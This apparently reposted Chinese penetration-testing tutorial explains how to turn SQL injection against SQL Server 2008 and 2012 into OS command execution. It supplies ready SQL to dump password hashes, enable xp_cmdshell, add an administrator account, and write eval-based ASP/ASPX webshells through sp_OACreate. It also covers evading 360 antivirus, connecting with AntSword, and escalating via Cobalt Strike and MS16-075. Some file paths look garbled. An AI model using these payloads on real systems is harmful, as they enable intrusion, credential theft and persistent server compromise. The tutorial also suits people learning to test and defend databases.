1 sql server執(zhí)行os-shell
條件:數(shù)據(jù)庫權(quán)限必須是dba權(quán)限可利用sql-shll進(jìn)行命令執(zhí)行,部分常用ql語句:
查看版本:SELECT @@version 查看連接用戶: SELECTORIGINAL_LOGIN(),APP_NAME(),CONNECTIONPROPERTY('CLIENT_NET_ADDRESS'),CONNECTIONPROPERTY('PROTOCOL_TYPE') 查詢所有數(shù)據(jù)庫名稱 selectnamefrommaster.dbo.sysdatabases; 查看用戶hash: selectname,sys.fn_varbintohexstr(password_hash)fromsys.sql_logins 查看數(shù)據(jù)庫賬號(hào)密碼: selectname,sys.fn_varbintohexstr(password_hash)frommaster.sys.sql_logins; 查看數(shù)據(jù)庫中表名: SELECTSysObjects.nameASTablenameFROMsysobjectsWHERExtype='U'andsysstat<200 exec?xp_dirtree?'c:'????????#?列出所有c:文件、目錄、子目錄exec?xp_dirtree?'c:',1??????#?只列c:目錄 exec?xp_dirtree?'c:',1,1????#?列c:目錄、文件 exec?xp_subdirs?'C:';???????#?只列c:目錄 select?is_srvrolemember('sysadmin')?#?判斷是否是SA權(quán)限 select?is_member('db_owner')????????#?判斷是否是db_owner權(quán)限 select?is_srvrolemember('public')???#?判斷是否是public權(quán)限 創(chuàng)建用戶: exec?master..xp_cmdshell?"net?user?test12?123.com?add" exec?master..xp_cmdshell?"net?localgroup?administrators?test12?add" exec?master..xp_cmdshell?"net?user?test12" 讀取文檔內(nèi)容 create?table?files(line?varchar(1024)) bulk?insert??files?from?'C:inetpubaa.asp' select?*?from?files
默認(rèn)新建的用戶只有public權(quán)限, sqlserver數(shù)據(jù)庫進(jìn)行os-shell執(zhí)行,主要是利用開啟xp_cmdshell進(jìn)行命令執(zhí)行,通過命令執(zhí)行查看,返回結(jié)果為1,說明是存在xp_cmdshell,該命令只能證明是否存在xp_cmdshell,并不能證明可執(zhí)行xp_cmdshell
selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell'

1.1針對(duì)sqlserver2008測(cè)試
1.1 當(dāng)前用戶不是dba
在當(dāng)前用戶不為dba情況,利用sqlmap執(zhí)行os-shell,提示如下:
非dba權(quán)限的用戶即使在開啟xpcmdshell的情況下也無法進(jìn)行命令執(zhí)行,提示沒有權(quán)限:
dba權(quán)限在未開啟cmdshell情況下執(zhí)行命令提示如下:當(dāng)非dba權(quán)限嘗試開啟cmdshell時(shí)提示沒有該操作權(quán)限:
所以這就是為什么在我們發(fā)現(xiàn)sql注入的時(shí)候,如果當(dāng)前用戶不是dba權(quán)限的情況下無法進(jìn)行命令執(zhí)行。
1.2 當(dāng)前用戶為dba
在進(jìn)行注入時(shí),如果當(dāng)前用戶為dba,可嘗試?yán)萌缦旅钍謩?dòng)開啟xpcmd_shell
EXECsp_configure'showadvancedoptions',1; RECONFIGURE; EXECsp_configure'xp_cmdshell',1; RECONFIGURE;
接下來分析下sqlmap如何去檢測(cè)和開啟xp_cmdshell,通過抓取數(shù)據(jù)包發(fā)現(xiàn),開啟cmdshell命令如下:
;EXECmaster..sp_configure'SHOWadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'SHOWadvancedoptions',0;RECONFIGUREWITHOVERRIDE--
當(dāng)嘗試?yán)胦s-shell無法開啟時(shí),可嘗試?yán)胹ql-shell開啟,xpcmd_shell,本次在測(cè)試時(shí)發(fā)現(xiàn),直接在sql-shell中執(zhí)行上述4條開啟的語句無法開啟成功,可嘗試拼接sql語句進(jìn)行開啟
selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell';EXECmaster..sp_configure'SHOWadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'xp_cmdshell',1;RECONFIGUREWITHOVERRIDE;EXECmaster..sp_configure'SHOWadvancedoptions',0;RECONFIGUREWITHOVERRIDE--查詢語句為查看xpcmd_shell組件的命令,執(zhí)行語句后返回結(jié)果1,即為查詢成功:
判斷是否存在站庫分離:
selecthost_name();//主機(jī)名 select@@servername;//服務(wù)器名 //如果相同則代表數(shù)據(jù)庫和web在同一臺(tái)機(jī)器上面執(zhí)行后發(fā)現(xiàn)返回的服務(wù)器名稱相同,可見未進(jìn)行站庫分離,如下圖:
即使主機(jī)上安裝有360等安全設(shè)備,執(zhí)行該命令后,也可以將xpcmd_shell組件開啟,通過測(cè)試發(fā)現(xiàn),主機(jī)上殺毒軟件攔截只有在調(diào)用xpcmd_shell進(jìn)行命令執(zhí)行時(shí)才會(huì)進(jìn)行攔截
1.3 xpcmd_shell為什么無法執(zhí)行命令
在沒有防護(hù)的情況下,可利用sqlmap正常開啟xpcmd_shell進(jìn)行命令執(zhí)行,但是很多情況下會(huì)發(fā)現(xiàn) 無法進(jìn)行命令執(zhí)行,sqlmap提示如下:
此時(shí)可能原因是對(duì)服務(wù)器上安裝有安全軟件,本次測(cè)試在測(cè)試環(huán)境中安全了360安全軟件,可在調(diào)用xpcmd_shell組件時(shí),被安全軟件攔截
思路一:如果在已知sqlserver賬戶密碼的情況下,利用navicat連接數(shù)據(jù)庫進(jìn)行手動(dòng)寫入shell:開啟sp_OACreate組件
EXECsp_configure'showadvancedoptions',1; RECONFIGUREWITHOVERRIDE; EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE; EXECsp_configure'showadvancedoptions',0;
利用文件存儲(chǔ)先寫入文件:
declare@oint,@fint,@tint,@retint execsp_oacreate'scripting.filesystemobject',@oout execsp_oamethod@o,'createtextfile',@fout,'c:inetpubaa.asp',1 exec@ret=sp_oamethod@f,'writeline',NULL,'<%execute(request("a"))%>'

可成功在c盤inetpub路徑下寫入aa.asp文件,shell的寫入路徑可利用execute master..xp_dirtree命令進(jìn)行查找
executemaster..xp_dirtree'c:/inetpub/test/',1,1
利用上述方法的前提是在已經(jīng)知道sqlsever數(shù)據(jù)庫的的管理賬號(hào)密碼,可利用--passwords 參數(shù)查看。思路二:假如未能成功登錄,可先通過查看網(wǎng)站路徑,在寫入shell方式,步驟如下:1、新建tmp表格,并將master..xp_dirtree的存儲(chǔ)結(jié)果保存到表格中,命令如下:
CREATETABLEtmp(dirvarchar(8000),numint,num1int);insertintotmp(dir,num,num1)executemaster..xp_dirtree'c:',1,1;可在sql-shell中執(zhí)行,執(zhí)行效果如下:

也可通過注入點(diǎn)直接執(zhí)行,執(zhí)行效果如下:

直接在sql-shell中執(zhí)行命令查看結(jié)果:select * from test.tmp

可發(fā)現(xiàn)存在inetpub目錄,接著在查看改目錄下文件,為了防止目錄過多,可嘗試刪除之前tmp在重新表格,存儲(chǔ)新目錄下的數(shù)據(jù),刪除表格直接執(zhí)行drop table tmp,可在利用select 查詢重新確定下是否刪除成功。新建表格命令如下:
CREATETABLEtmp(dirvarchar(8000),numint,num1int);insertintotmp(dir,num,num1)executemaster..xp_dirtree'c:/inetpub/',1,1;

在用select命令進(jìn)行查看,

利用該方法慢慢找到網(wǎng)站的路徑,可能就是比較慢,通過測(cè)試發(fā)現(xiàn)該種方法是不會(huì)被主機(jī)上的殺軟攔截的。找到根目錄后用Scripting.FileSystemObject中CreateTextFile和WriteLine來實(shí)現(xiàn)寫入webshell,sql-shell執(zhí)行命令如下,前提時(shí)先開啟sp_OACreate,開啟腳本如下:
EXECsp_configure'showadvancedoptions',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'OleAutomationProcedures',1;RECONFIGUREWITHOVERRIDE;EXECsp_configure'showadvancedoptions',0;
寫入shell腳本:
declare@fint,@gint;execsp_oacreate'Scripting.FileSystemObject',@foutput;EXECSP_OAMETHOD@f,'CreateTextFile',@fOUTPUT,'c:inetpub est est.aspx',1;EXECsp_oamethod@f,'WriteLine',null,'<%@?Page?Language="Jscript"%><%var?a?=?"un";var?b?=?"safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'可成功寫入一句話木馬,如下圖:

利用蟻劍可成功連接shell

只是此時(shí)權(quán)限較低,是iis權(quán)限需要進(jìn)行進(jìn)一步提權(quán)。在進(jìn)行提權(quán)時(shí)系統(tǒng)安裝360可能不能成功,此時(shí)可嘗試低權(quán)限上線cs,然后利用cs提權(quán),需要進(jìn)行360繞過,也可采用sqlserver的sqlps.exe文件進(jìn)行命令執(zhí)行,不管時(shí)利用哪種方式,此時(shí)考察的就是免殺能力了。
1.2 sqlserver 2012測(cè)試
之前驗(yàn)證了sqlserver 2008如何通過sql注入獲取系統(tǒng)shell,主要是通過調(diào)用xpcmd_shell,但是當(dāng)服務(wù)器上存在殺毒軟件時(shí)無法進(jìn)行開啟,此時(shí)可嘗試sql-shell,尋找網(wǎng)站目錄,然后寫入一句話木馬的方式,只是寫入的shell權(quán)限比較低,接下來嘗試?yán)胹qlserver2012進(jìn)行測(cè)試。
1.2.1 無殺軟執(zhí)行xpcmd_shell
sqlserver2012默認(rèn)cpcmd_shell也是關(guān)閉的,當(dāng)服務(wù)器主機(jī)不存在殺軟時(shí),可直接執(zhí)行os-shell,進(jìn)行命令執(zhí)行。
此時(shí)可通過執(zhí)行pwershell直接上線cs,但是此時(shí)上線的權(quán)限為sqlserver,可通過ms16-075進(jìn)行提權(quán)到system,然后在進(jìn)行后滲透即可,在不存在殺軟的情況下相對(duì)比較順利,接下來看下如何繞過殺軟上傳shell。
1.2.2繞過殺軟上傳shell
主機(jī)上安裝360,直接通過sqlmap執(zhí)行os-shell會(huì)被攔截,嘗試sql-shell進(jìn)行命令執(zhí)行,步驟和2008大致基本相同,先通過xp_dirtree慢慢找到網(wǎng)站路徑,在開啟sp_OACreate,最后寫入shell。
declare@oint,@fint,@tint,@retint;execsp_oacreate'scripting.filesystemobject',@oout;execsp_oamethod@o,'createtextfile',@fout,'e: est123.asp',1;exec@ret=sp_oamethod@f,'writeline',NULL,'<%@?Page?Language="Jscript"%><%var?a?=?"un";var?b?=?"safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'
可嘗試?yán)门袛嗍欠駥懭氤晒?/p>
create table sssss (line varchar(1024));bulk insert sssss from 'e: est123.asp';select * from sssss


審核編輯:湯梓紅
-
SQL
+關(guān)注
關(guān)注
1文章
783瀏覽量
45130 -
Server
+關(guān)注
關(guān)注
0文章
94瀏覽量
24696 -
數(shù)據(jù)庫
+關(guān)注
關(guān)注
7文章
3926瀏覽量
66203 -
Shell
+關(guān)注
關(guān)注
1文章
372瀏覽量
24211
原文標(biāo)題:1 sql server執(zhí)行os-shell
文章出處:【微信號(hào):Tide安全團(tuán)隊(duì),微信公眾號(hào):Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
labview連接SQL server方法
SQL Server精華(CHM)
SQL Server 2000菜鳥入門
數(shù)據(jù)庫與SQL Server 2005教程
Windows SQL Server 安全檢查列表
數(shù)據(jù)庫教程之SQL SERVER環(huán)境的詳細(xì)資料說明
SQL Server 2005數(shù)據(jù)庫的應(yīng)用手冊(cè)

SQL的max server memory參數(shù)應(yīng)該如何設(shè)置
LABVIEW與SQL SERVER的連接方法詳細(xì)說明

評(píng)論